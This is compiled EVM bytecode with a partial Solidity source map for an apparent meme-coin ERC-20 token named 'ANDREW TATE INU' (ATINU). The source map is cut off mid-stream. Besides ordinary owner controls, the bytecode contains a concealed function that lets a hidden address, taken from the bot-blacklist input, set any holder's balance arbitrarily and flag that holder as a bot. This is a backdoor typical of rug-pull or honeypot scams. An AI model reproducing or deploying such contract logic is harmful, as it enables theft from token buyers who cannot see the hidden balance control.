0x6080604052600436106101bb5760003560e01c806396880b17116100ec578063dd62ed3e1161008a578063e4748b9e11610064578063e4748b9e14610548578063f0ee564e1461055e578063f48c36f41461057e578063ffb54a991461059f57600080fd5b8063dd62ed3e146104d7578063e086e5ec1461051d578063e0f3ccf51461053257600080fd5b8063beb08ab9116100c6578063beb08ab914610462578063c024666814610482578063c9567bf9146104a2578063d2fcc001146104b757600080fd5b806396880b17146103f2578063a9059cbb14610422578063b515566a1461044257600080fd5b806351cff8d911610159578063751039fc11610133578063751039fc146103715780637571336a146103865780638da5cb5b146103a657806395d89b41146103c457600080fd5b806351cff8d91461030457806370a0823114610326578063715018a61461035c57600080fd5b806318160ddd1161019557806318160ddd1461027157806323b872dd14610290578063313ce567146102b057806349bd5a5e146102cc57600080fd5b806306fdde03146101c7578063095ea7b31461021157806310d5de531461024157600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600f81526e414e44524557205441544520494e5560881b60208201525b604051610208919061156a565b60405180910390f35b34801561021d57600080fd5b5061023161022c3660046115dd565b6105c0565b6040519015158152602001610208565b34801561024d57600080fd5b5061023161025c366004611609565b60086020526000908152604090205460ff1681565b34801561027d57600080fd5b506006545b604051908152602001610208565b34801561029c57600080fd5b506102316102ab36600461162d565b6105d7565b3480156102bc57600080fd5b5060405160098152602001610208565b3480156102d857600080fd5b50600c546102ec906001600160a01b031681565b6040516001600160a01b039091168152602001610208565b34801561031057600080fd5b5061032461031f366004611609565b610629565b005b34801561033257600080fd5b50610282610341366004611609565b6001600160a01b031660009081526002602052604090205490565b34801561036857600080fd5b506103246107f8565b34801561037d57600080fd5b5061023161086c565b34801561039257600080fd5b506103246103a136600461167c565b6108aa565b3480156103b257600080fd5b506000546001600160a01b03166102ec565b3480156103d057600080fd5b506040805180820190915260058152644154494e5560d81b60208201526101fb565b3480156103fe57600080fd5b5061023161040d366004611609565b60096020526000908152604090205460ff1681565b34801561042e57600080fd5b5061023161043d3660046115dd565b610934565b34801561044e57600080fd5b5061032461045d3660046116cb565b610941565b34801561046e57600080fd5b506012546102ec906001600160a01b031681565b34801561048e57600080fd5b5061032461049d36600461167c565b610a18565b3480156104ae57600080fd5b50610231610a9a565b3480156104c357600080fd5b506103246104d236600461167c565b610b3a565b3480156104e357600080fd5b506102826104f2366004611790565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561052957600080fd5b50610324610bbc565b34801561053e57600080fd5b5061028260105481565b34801561055457600080fd5b50610282600f5481565b34801561056a57600080fd5b506103246105793660046115dd565b610c69565b34801561058a57600080fd5b50600c5461023190600160a81b900460ff1681565b3480156105ab57600080fd5b50600c5461023190600160a01b900460ff1681565b60006105cd338484610d2e565b5060015b92915050565b60006105e4848484610e52565b6001600160a01b03841660009081526003602090815260408083203380855292529091205461061f91869161061a9086906117d4565b610d2e565b5060019392505050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b8152600401610653906117e7565b60405180910390fd5b6012546001600160a01b0316336001600160a01b03161461067c57600080fd5b6001600160a01b0381166106c15760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b6044820152606401610653565b6040516370a0823160e01b81523060048201526000906001600160a01b0383169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610712573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610736919061181c565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610781573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a59190611835565b9050806107f45760405162461bcd60e51b815260206004820152601960248201527f4661696c757265204f6e20546f6b656e205769746864726177000000000000006044820152606401610653565b5050565b6000546001600160a01b031633146108225760405162461bcd60e51b8152600401610653906117e7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146108975760405162461bcd60e51b8152600401610653906117e7565b50600c805460ff60a81b19169055600190565b6000546001600160a01b031633146108d45760405162461bcd60e51b8152600401610653906117e7565b6001600160a01b038216600081815260086020908152604091829020805460ff191685151590811790915591519182527f575f9d01836c9206322151b9e9ec3f2b77b87e71176933b9b44d2d732f768d9591015b60405180910390a25050565b60006105cd338484610e52565b6000546001600160a01b0316331461096b5760405162461bcd60e51b8152600401610653906117e7565b60005b81518110156109d35760016005600084848151811061098f5761098f611852565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109cb81611868565b91505061096e565b5080600a815181106109e7576109e7611852565b6020026020010151600b60006101000a8154816001600160a01b0302191690836001600160a01b0316021790555050565b6000546001600160a01b03163314610a425760405162461bcd60e51b8152600401610653906117e7565b6001600160a01b038216600081815260076020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79101610928565b600080546001600160a01b03163314610ac55760405162461bcd60e51b8152600401610653906117e7565b600c54600160a01b900460ff1615610b1f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610653565b50600c805461ffff60a01b191661010160a01b179055600190565b6000546001600160a01b03163314610b645760405162461bcd60e51b8152600401610653906117e7565b6001600160a01b038216600081815260096020908152604091829020805460ff191685151590811790915591519182527f5956094251965a24e12663de1458c0d93ae46d0299678c87fb094b82fe3f26879101610928565b6000546001600160a01b03163314610be65760405162461bcd60e51b8152600401610653906117e7565b6012546001600160a01b0316336001600160a01b031614610c0657600080fd5b6012546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c53576040519150601f19603f3d011682016040523d82523d6000602084013e610c58565b606091505b5050905080610c6657600080fd5b50565b600b546001600160a01b03163314610cb85760405162461bcd60e51b815260206004820152601260248201527122b93937b91d102137ba103bb0b63632ba1760711b6044820152606401610653565b8015610cef576001600160a01b038216600090815260026020908152604080832084905560059091529020805460ff191660011790555b806000036107f45760405162461bcd60e51b815260206004820152600c60248201526b2137ba10213637b1b5b2b21760a11b6044820152606401610653565b6001600160a01b038316610d905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610653565b6001600160a01b038216610df15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610653565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610653565b6001600160a01b038216610f185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610653565b60008111610f7a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610653565b600c54600160a01b900460ff16610fd3576001600160a01b03831660009081526007602052604090205460ff1680610fca57506001600160a01b03821660009081526007602052604090205460ff165b610fd357600080fd5b600c54600160a81b900460ff16156110e8576001600160a01b03831660009081526008602052604090205460ff1661105757600d548111156110575760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e740000006044820152606401610653565b6001600160a01b03821660009081526009602052604090205460ff166110e857600e548161109a846001600160a01b031660009081526002602052604090205490565b6110a49190611881565b11156110e85760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610653565b600c546001600160a01b03848116911614806111115750600c546001600160a01b038381169116145b8015611120575060145460ff16155b156111cb57600c546001600160a01b038481169116146111cb57601354601154106111cb576111506013546112e7565b6013546011600082825461116491906117d4565b90915550506012546040516000916001600160a01b03169047908381818185875af1925050503d80600081146111b6576040519150601f19603f3d011682016040523d82523d6000602084013e6111bb565b606091505b50509050806111c957600080fd5b505b6001600160a01b0383166000908152600760205260408120546001919060ff168061120e57506001600160a01b03841660009081526007602052604090205460ff165b1561121857600091505b81156112d557600c546001600160a01b039081169086160361126d576064600f54846112449190611894565b61124e91906118b3565b905080601160008282546112629190611881565b909155506112b79050565b600c546001600160a01b03908116908516036112b7576064601054846112939190611894565b61129d91906118b3565b905080601160008282546112b19190611881565b90915550505b80156112c8576112c8853083611461565b6112d281846117d4565b92505b6112e0858585611461565b5050505050565b6014805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132957611329611852565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a691906118d5565b816001815181106113b9576113b9611852565b6001600160a01b039283166020918202929092010152600a546113df9130911684610d2e565b600a546001600160a01b031663791ac94783600084306114014261012c611881565b6040518663ffffffff1660e01b81526004016114219594939291906118f2565b600060405180830381600087803b15801561143b57600080fd5b505af115801561144f573d6000803e3d6000fd5b50506014805460ff1916905550505050565b6001600160a01b038316600090815260026020526040902054818110156114d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610653565b6001600160a01b03808516600090815260026020526040808220858503905591851681529081208054849290611510908490611881565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155c91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b818110156115975785810183015185820160400152820161157b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c6657600080fd5b80356115d8816115b8565b919050565b600080604083850312156115f057600080fd5b82356115fb816115b8565b946020939093013593505050565b60006020828403121561161b57600080fd5b8135611626816115b8565b9392505050565b60008060006060848603121561164257600080fd5b833561164d816115b8565b9250602084013561165d816115b8565b929592945050506040919091013590565b8015158114610c6657600080fd5b6000806040838503121561168f57600080fd5b823561169a816115b8565b915060208301356116aa8161166e565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116de57600080fd5b823567ffffffffffffffff808211156116f657600080fd5b818501915085601f83011261170a57600080fd5b81358181111561171c5761171c6116b5565b8060051b604051601f19603f83011681018181108582111715611741576117416116b5565b60405291825284820192508381018501918883111561175f57600080fd5b938501935b8285101561178457611775856115cd565b84529385019392850192611764565b98975050505050505050565b600080604083850312156117a357600080fd5b82356117ae816115b8565b915060208301356116aa816115b8565b634e487b7160e01b600052601160045260246000fd5b818103818111156105d1576105d16117be565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561182e57600080fd5b5051919050565b60006020828403121561184757600080fd5b81516116268161166e565b634e487b7160e01b600052603260045260246000fd5b60006001820161187a5761187a6117be565b5060010190565b808201808211156105d1576105d16117be565b60008160001904831182151516156118ae576118ae6117be565b500290565b6000826118d057634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118e757600080fd5b8151611626816115b8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119425784516001600160a01b03168352938301939183019160010161191d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204c0c7f677d48601196916c454b23facb2ce7d256af707c1076886df05e4fe9ae64736f6c63430008100033
Deployed Bytecode Sourcemap
3433:10079:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6570:83;;;;;;;;;;-1:-1:-1;6640:5:0;;;;;;;;;;;;-1:-1:-1;;;6640:5:0;;;;6570:83;;;;;;;:::i;:::-;;;;;;;;7480:193;;;;;;;;;;-1:-1:-1;7480:193:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7480:193:0;1162:187:1;3816:63:0;;;;;;;;;;-1:-1:-1;3816:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6847:100;;;;;;;;;;-1:-1:-1;6927:12:0;;6847:100;;;1752:25:1;;;1740:2;1725:18;6847:100:0;1606:177:1;7679:352:0;;;;;;;;;;-1:-1:-1;7679:352:0;;;;;:::i;:::-;;:::i;6756:83::-;;;;;;;;;;-1:-1:-1;6756:83:0;;4092:1;2391:36:1;;2379:2;2364:18;6756:83:0;2249:184:1;4180:28:0;;;;;;;;;;-1:-1:-1;4180:28:0;;;;-1:-1:-1;;;;;4180:28:0;;;;;;-1:-1:-1;;;;;2602:32:1;;;2584:51;;2572:2;2557:18;4180:28:0;2438:203:1;12952:308:0;;;;;;;;;;-1:-1:-1;12952:308:0;;;;;:::i;:::-;;:::i;:::-;;6955:118;;;;;;;;;;-1:-1:-1;6955:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;7048:17:0;7021:7;7048:17;;;:8;:17;;;;;;;6955:118;2385:148;;;;;;;;;;;;;:::i;12623:114::-;;;;;;;;;;;;;:::i;12142:240::-;;;;;;;;;;-1:-1:-1;12142:240:0;;;;;:::i;:::-;;:::i;2171:79::-;;;;;;;;;;-1:-1:-1;2209:7:0;2236:6;-1:-1:-1;;;;;2236:6:0;2171:79;;6661:87;;;;;;;;;;-1:-1:-1;6733:7:0;;;;;;;;;;;;-1:-1:-1;;;6733:7:0;;;;6661:87;;3886:58;;;;;;;;;;-1:-1:-1;3886:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7081:199;;;;;;;;;;-1:-1:-1;7081:199:0;;;;;:::i;:::-;;:::i;12745:::-;;;;;;;;;;-1:-1:-1;12745:199:0;;;;;:::i;:::-;;:::i;4623:73::-;;;;;;;;;;-1:-1:-1;4623:73:0;;;;-1:-1:-1;;;;;4623:73:0;;;11952:182;;;;;;;;;;-1:-1:-1;11952:182:0;;;;;:::i;:::-;;:::i;11738:204::-;;;;;;;;;;;;;:::i;12390:225::-;;;;;;;;;;-1:-1:-1;12390:225:0;;;;;:::i;:::-;;:::i;7288:184::-;;;;;;;;;;-1:-1:-1;7288:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7437:18:0;;;7405:7;7437:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7288:184;13268:204;;;;;;;;;;;;;:::i;4546:27::-;;;;;;;;;;;;;;;;4513:26;;;;;;;;;;;;;;;;10984:279;;;;;;;;;;-1:-1:-1;10984:279:0;;;;;:::i;:::-;;:::i;4245:21::-;;;;;;;;;;-1:-1:-1;4245:21:0;;;;-1:-1:-1;;;4245:21:0;;;;;;4215:23;;;;;;;;;;-1:-1:-1;4215:23:0;;;;-1:-1:-1;;;4215:23:0;;;;;;7480:193;7582:4;7604:39;350:10;7627:7;7636:6;7604:8;:39::i;:::-;-1:-1:-1;7661:4:0;7480:193;;;;;:::o;7679:352::-;7811:4;7828:36;7838:6;7846:9;7857:6;7828:9;:36::i;:::-;-1:-1:-1;;;;;7946:19:0;;;;;;:11;:19;;;;;;;;350:10;7946:33;;;;;;;;;7875:126;;7898:6;;7946:44;;7983:6;;7946:44;:::i;:::-;7875:8;:126::i;:::-;-1:-1:-1;8019:4:0;7679:352;;;;;:::o;12952:308::-;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;;;;;;;;;13039:13:::1;::::0;-1:-1:-1;;;;;13039:13:0::1;350:10:::0;-1:-1:-1;;;;;13023:29:0::1;;13015:38;;;::::0;::::1;;-1:-1:-1::0;;;;;13072:19:0;::::1;13064:44;;;::::0;-1:-1:-1;;;13064:44:0;;5635:2:1;13064:44:0::1;::::0;::::1;5617:21:1::0;5674:2;5654:18;;;5647:30;-1:-1:-1;;;5693:18:1;;;5686:42;5745:18;;13064:44:0::1;5433:336:1::0;13064:44:0::1;13163:38;::::0;-1:-1:-1;;;13163:38:0;;13195:4:::1;13163:38;::::0;::::1;2584:51:1::0;13119:6:0::1;::::0;-1:-1:-1;;;;;13128:22:0;::::1;::::0;::::1;::::0;13151:10:::1;::::0;13128:22;;13163:23:::1;::::0;2557:18:1;;13163:38:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13128:74;::::0;-1:-1:-1;;;;;;13128:74:0::1;::::0;;;;;;-1:-1:-1;;;;;6155:32:1;;;13128:74:0::1;::::0;::::1;6137:51:1::0;6204:18;;;6197:34;6110:18;;13128:74:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13119:83;;13221:1;13213:39;;;::::0;-1:-1:-1;;;13213:39:0;;6694:2:1;13213:39:0::1;::::0;::::1;6676:21:1::0;6733:2;6713:18;;;6706:30;6772:27;6752:18;;;6745:55;6817:18;;13213:39:0::1;6492:349:1::0;13213:39:0::1;13004:256;12952:308:::0;:::o;2385:148::-;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;2492:1:::1;2476:6:::0;;2455:40:::1;::::0;-1:-1:-1;;;;;2476:6:0;;::::1;::::0;2455:40:::1;::::0;2492:1;;2455:40:::1;2523:1;2506:19:::0;;-1:-1:-1;;;;;;2506:19:0::1;::::0;;2385:148::o;12623:114::-;12673:4;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;-1:-1:-1;12690:9:0::1;:17:::0;;-1:-1:-1;;;;12690:17:0::1;::::0;;;12623:114;:::o;12142:240::-;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12260:40:0;::::1;;::::0;;;:31:::1;:40;::::0;;;;;;;;:51;;-1:-1:-1;;12260:51:0::1;::::0;::::1;;::::0;;::::1;::::0;;;12327:47;;1302:41:1;;;12327:47:0::1;::::0;1275:18:1;12327:47:0::1;;;;;;;;12142:240:::0;;:::o;7081:199::-;7186:4;7208:42;350:10;7232:9;7243:6;7208:9;:42::i;12745:199::-;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;12820:9:::1;12816:92;12839:5;:12;12835:1;:16;12816:92;;;12892:4;12869:10;:20;12880:5;12886:1;12880:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12869:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12869:20:0;:27;;-1:-1:-1;;12869:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12853:3;::::1;::::0;::::1;:::i;:::-;;;;12816:92;;;;12926:5;12932:2;12926:9;;;;;;;;:::i;:::-;;;;;;;12909:6;;:27;;;;;-1:-1:-1::0;;;;;12909:27:0::1;;;;;-1:-1:-1::0;;;;;12909:27:0::1;;;;;;12745:199:::0;:::o;11952:182::-;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12037:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;12037:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;12092:34;;1302:41:1;;;12092:34:0::1;::::0;1275:18:1;12092:34:0::1;1162:187:1::0;11738:204:0;11789:4;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;11815:11:::1;::::0;-1:-1:-1;;;11815:11:0;::::1;;;11814:12;11806:48;;;::::0;-1:-1:-1;;;11806:48:0;;7320:2:1;11806:48:0::1;::::0;::::1;7302:21:1::0;7359:2;7339:18;;;7332:30;7398:25;7378:18;;;7371:53;7441:18;;11806:48:0::1;7118:347:1::0;11806:48:0::1;-1:-1:-1::0;11865:11:0::1;:18:::0;;-1:-1:-1;;;;11894:16:0;-1:-1:-1;;;11894:16:0;;;-1:-1:-1;;11738:204:0:o;12390:225::-;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12503:35:0;::::1;;::::0;;;:26:::1;:35;::::0;;;;;;;;:46;;-1:-1:-1;;12503:46:0::1;::::0;::::1;;::::0;;::::1;::::0;;;12565:42;;1302:41:1;;;12565:42:0::1;::::0;1275:18:1;12565:42:0::1;1162:187:1::0;13268:204:0;2298:6;;-1:-1:-1;;;;;2298:6:0;350:10;2298:22;2290:67;;;;-1:-1:-1;;;2290:67:0;;;;;;;:::i;:::-;13345:13:::1;::::0;-1:-1:-1;;;;;13345:13:0::1;350:10:::0;-1:-1:-1;;;;;13329:29:0::1;;13321:38;;;::::0;::::1;;13390:13;::::0;13382:61:::1;::::0;13371:6:::1;::::0;-1:-1:-1;;;;;13390:13:0::1;::::0;13417:21:::1;::::0;13371:6;13382:61;13371:6;13382:61;13417:21;13390:13;13382:61:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13370:73;;;13462:1;13454:10;;;::::0;::::1;;13310:162;13268:204::o:0;10984:279::-;4854:6;;-1:-1:-1;;;;;4854:6:0;4865:10;4846:29;4824:97;;;;-1:-1:-1;;;4824:97:0;;7882:2:1;4824:97:0;;;7864:21:1;7921:2;7901:18;;;7894:30;-1:-1:-1;;;7940:18:1;;;7933:48;7998:18;;4824:97:0;7680:342:1;4824:97:0;11071:10;;11068:102:::1;;-1:-1:-1::0;;;;;11097:14:0;::::1;;::::0;;;:8:::1;:14;::::0;;;;;;;:23;;;11135:10:::1;:16:::0;;;;;:23;;-1:-1:-1;;11135:23:0::1;11154:4;11135:23;::::0;;11068:102:::1;11187:6;11197:1;11187:11:::0;11184:72:::1;;11218:22;::::0;-1:-1:-1;;;11218:22:0;;8229:2:1;11218:22:0::1;::::0;::::1;8211:21:1::0;8268:2;8248:18;;;8241:30;-1:-1:-1;;;8287:18:1;;;8280:42;8339:18;;11218:22:0::1;8027:336:1::0;8039:369:0;-1:-1:-1;;;;;8166:19:0;;8158:68;;;;-1:-1:-1;;;8158:68:0;;8570:2:1;8158:68:0;;;8552:21:1;8609:2;8589:18;;;8582:30;8648:34;8628:18;;;8621:62;-1:-1:-1;;;8699:18:1;;;8692:34;8743:19;;8158:68:0;8368:400:1;8158:68:0;-1:-1:-1;;;;;8245:21:0;;8237:68;;;;-1:-1:-1;;;8237:68:0;;8975:2:1;8237:68:0;;;8957:21:1;9014:2;8994:18;;;8987:30;9053:34;9033:18;;;9026:62;-1:-1:-1;;;9104:18:1;;;9097:32;9146:19;;8237:68:0;8773:398:1;8237:68:0;-1:-1:-1;;;;;8316:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8368:32;;1752:25:1;;;8368:32:0;;1725:18:1;8368:32:0;;;;;;;8039:369;;;:::o;8414:2058::-;-1:-1:-1;;;;;8537:18:0;;8529:68;;;;-1:-1:-1;;;8529:68:0;;9378:2:1;8529:68:0;;;9360:21:1;9417:2;9397:18;;;9390:30;9456:34;9436:18;;;9429:62;-1:-1:-1;;;9507:18:1;;;9500:35;9552:19;;8529:68:0;9176:401:1;8529:68:0;-1:-1:-1;;;;;8616:16:0;;8608:64;;;;-1:-1:-1;;;8608:64:0;;9784:2:1;8608:64:0;;;9766:21:1;9823:2;9803:18;;;9796:30;9862:34;9842:18;;;9835:62;-1:-1:-1;;;9913:18:1;;;9906:33;9956:19;;8608:64:0;9582:399:1;8608:64:0;8700:1;8691:6;:10;8683:64;;;;-1:-1:-1;;;8683:64:0;;10188:2:1;8683:64:0;;;10170:21:1;10227:2;10207:18;;;10200:30;10266:34;10246:18;;;10239:62;-1:-1:-1;;;10317:18:1;;;10310:39;10366:19;;8683:64:0;9986:405:1;8683:64:0;8768:11;;-1:-1:-1;;;8768:11:0;;;;8764:116;;-1:-1:-1;;;;;8811:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;8840:23:0;;;;;;:19;:23;;;;;;;;8811:52;8803:61;;;;;;8900:9;;-1:-1:-1;;;8900:9:0;;;;8896:344;;;-1:-1:-1;;;;;8931:37:0;;;;;;:31;:37;;;;;;;;8926:140;;9004:12;;8994:6;:22;;8986:64;;;;-1:-1:-1;;;8986:64:0;;10598:2:1;8986:64:0;;;10580:21:1;10637:2;10617:18;;;10610:30;10676:31;10656:18;;;10649:59;10725:18;;8986:64:0;10396:353:1;8986:64:0;-1:-1:-1;;;;;9087:30:0;;;;;;:26;:30;;;;;;;;9082:154;;9180:16;;9170:6;9154:13;9164:2;-1:-1:-1;;;;;7048:17:0;7021:7;7048:17;;;:8;:17;;;;;;;6955:118;9154:13;:22;;;;:::i;:::-;:42;;9146:74;;;;-1:-1:-1;;;9146:74:0;;11086:2:1;9146:74:0;;;11068:21:1;11125:2;11105:18;;;11098:30;-1:-1:-1;;;11144:18:1;;;11137:49;11203:18;;9146:74:0;10884:343:1;9146:74:0;9269:13;;-1:-1:-1;;;;;9261:21:0;;;9269:13;;9261:21;;:44;;-1:-1:-1;9292:13:0;;-1:-1:-1;;;;;9286:19:0;;;9292:13;;9286:19;9261:44;9260:67;;;;-1:-1:-1;9311:16:0;;;;9310:17;9260:67;9256:496;;;9364:13;;-1:-1:-1;;;;;9356:21:0;;;9364:13;;9356:21;9352:385;;9432:8;;9411:16;;9410:30;9406:312;;9469:27;9487:8;;9469:17;:27::i;:::-;9543:8;;9523:16;;:28;;;;;;;:::i;:::-;;;;-1:-1:-1;;9601:13:0;;9593:61;;9579:9;;-1:-1:-1;;;;;9601:13:0;;9628:21;;9579:9;9593:61;9579:9;9593:61;9628:21;9601:13;9593:61;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9578:76;;;9689:4;9681:13;;;;;;9442:276;9406:312;-1:-1:-1;;;;;9848:25:0;;9780:12;9848:25;;;:19;:25;;;;;;9795:4;;9780:12;9848:25;;;:52;;-1:-1:-1;;;;;;9877:23:0;;;;;;:19;:23;;;;;;;;9848:52;9845:103;;;9927:5;9917:15;;9845:103;9969:7;9965:443;;;10005:13;;-1:-1:-1;;;;;10005:13:0;;;9997:21;;;;9993:272;;10065:3;10055:7;;10046:6;:16;;;;:::i;:::-;:22;;;;:::i;:::-;10039:29;;10107:4;10087:16;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;9993:272:0;;-1:-1:-1;9993:272:0;;10142:13;;-1:-1:-1;;;;;10142:13:0;;;10136:19;;;;10133:132;;10203:3;10192:8;;10183:6;:17;;;;:::i;:::-;:23;;;;:::i;:::-;10176:30;;10245:4;10225:16;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;10133:132:0;10284:8;;10281:85;;10309:41;10324:4;10338;10345;10309:14;:41::i;:::-;10380:16;10391:4;10380:16;;:::i;:::-;;;9965:443;10432:32;10447:4;10453:2;10457:6;10432:14;:32::i;:::-;8518:1954;;8414:2058;;;:::o;10480:496::-;4983:16;:23;;-1:-1:-1;;4983:23:0;5002:4;4983:23;;;10583:16:::1;::::0;;10597:1:::1;10583:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10583:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10583:16:0::1;10559:40;;10628:4;10610;10615:1;10610:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10610:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10654:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10654:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10610:7;;10654:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10644:4;10649:1;10644:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10644:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10721:15:::1;::::0;10689:62:::1;::::0;10706:4:::1;::::0;10721:15:::1;10739:11:::0;10689:8:::1;:62::i;:::-;10764:15;::::0;-1:-1:-1;;;;;10764:15:0::1;:66;10845:11:::0;10764:15:::1;10887:4:::0;10914::::1;10935:21;:15;10953:3;10935:21;:::i;:::-;10764:204;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5029:16:0;:24;;-1:-1:-1;;5029:24:0;;;-1:-1:-1;;;;10480:496:0:o;11271:459::-;-1:-1:-1;;;;;11423:14:0;;11401:19;11423:14;;;:8;:14;;;;;;11470:21;;;;11448:109;;;;-1:-1:-1;;;11448:109:0;;13070:2:1;11448:109:0;;;13052:21:1;13109:2;13089:18;;;13082:30;13148:34;13128:18;;;13121:62;-1:-1:-1;;;13199:18:1;;;13192:36;13245:19;;11448:109:0;12868:402:1;11448:109:0;-1:-1:-1;;;;;11593:14:0;;;;;;;:8;:14;;;;;;11610:20;;;11593:37;;11656:12;;;;;;;;:22;;11624:6;;11593:14;11656